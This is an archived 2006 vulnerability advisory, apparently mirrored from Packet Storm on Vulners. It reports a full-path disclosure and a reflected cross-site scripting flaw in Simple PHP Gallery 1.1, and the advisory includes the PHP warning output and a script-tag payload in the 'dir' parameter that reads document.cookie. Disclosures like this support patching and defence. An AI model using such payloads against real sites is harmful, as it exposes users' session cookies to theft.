Lucene search
K

spg-xss.txt

🗓️ 27 Nov 2006 00:00:00Reported by Al7ejaz HackerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Simple PHP Gallery 1.1 security issue

Code
`+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
+ ;;ii,,:: +  
+ :::: :: ;;tt;;:: +  
+ ;;:: ..,,:: ;;ii,,:: +  
+ ,,,, ii;;,, ii;;:: ;;ii,,:: +  
+ ii:: tt;;,, ..tt;;,,.. ;;ii;;:: +  
+ ii,,:: ttii,, ..ff;;;;:: ;;ii;;:: +  
+ tt;;::..,, tt;;,, ff;;;;ii ;;ii,,:: +  
+ tt;;::;;:: tt;;,,.. jj;;,,.. ;;tt,,:: +  
+ tt;;;;,, tt;;,,.. tt;;;; ;;ii;;:: +  
+ ..::,,;;,, tt;;,,.. tt;;,, ;;ii,,:: +  
+ ..::,,ii;;;;.. tt;;,,.. iiii,,:: ;;ii,,:: +  
+ ::,,ttiijj;;,, tt;;;;.. ;;tt,,:: ;;ii,,:: +  
+ ,,;;ii tt;;,, ii;;,,.. ..jj;;:: ;;ii;;:: +  
+ ;;;;:: tt;;:: tt;;;;.. ff;;:: ;;tt,,.. +  
+ ii;;.. ,,ii;;:: ii;;,,.. jj;;,, ;;ii,,.. +  
+ ,,;;,, ::;;;;;;:: ii;;;;.. tt;;,, ;;ii;;.. +  
+ tt;;:::: ::,,;;jj,,:: tt;;,,.. tt;;,, ;;ii,,.. +  
+ jj;;;;,,,,,,iiiiii;;:: ..tt;;,,:: iiii,, ;;ii,,.. +  
+ ;;ffjjttjjttii ii;;:: ii;;;;;;:: ..jj,, ;;ii;;.. +  
+ ..;;.. ii;;,,:: ,,;;;;jj;;,, ..jj,, ;;ii,,.. +  
+ iiii;;,,::::....::,,,,;;,,jj;;;;,,:: ::,,;;,, ;;ii;; +  
+ ..ff;;;;;;,,,,::,,;;;;;; ttii;;;;,,,,,,,,;;;;:: ;;ii,, +  
+ jjii;;;;;;;;;;;;;;ii.. ..ff;;;;;;;;;;;;;;;; ;;ii,, +  
+ jjjj;;;;ii;;;;tt.. iijj;;;;;;;;;;ii:: ;;ii:: +  
+ iijjjjjjtt;; ;;ffffjjjjtt:: ;;ii +  
+ ;;.. ii;; +  
+ .. +  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
+Credit by : Al7ejaz Hacker +  
+ +  
+Script : Simple PHP Gallery 1.1 +  
+Impact : Cross site scripting & fullpath disclosure +  
+ +  
+ +  
+Fullpath disclosure : +  
+ +  
+http://localhost/sp_index.php?dir=[Somthingwrong] +  
+ +  
+Result +  
+ +  
+ +  
+Warning: opendir(123): failed to open dir: No such file or directory in /var/www/html/gallery/sp_helper_functions.php on line 10 +  
+ +  
+Warning: readdir(): supplied argument is not a valid Directory resource in /var/www/html/gallery/sp_helper_functions.php on line 11 +  
+ +  
+Warning: Invalid argument supplied for foreach() in /var/www/html/gallery/sp_def_vars.php on line 147 +  
+ +  
+ +  
+ +  
+ +  
+Cross Site Scripting +  
+ +  
+ +  
+ +  
+dir variable is not probrely verified and can be used to execute html and javascript code +  
+ +  
+http://localhost/sp_index.php?dir=<script>alert(document.cookie)</script> +  
+ +  
+/Milw0rm +  
+ +  
+ +  
+in subject hot : Cross site scripting & fullpath disclosure ;) +  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Nov 2006 00:00Current
7.4High risk
Vulners AI Score7.4
27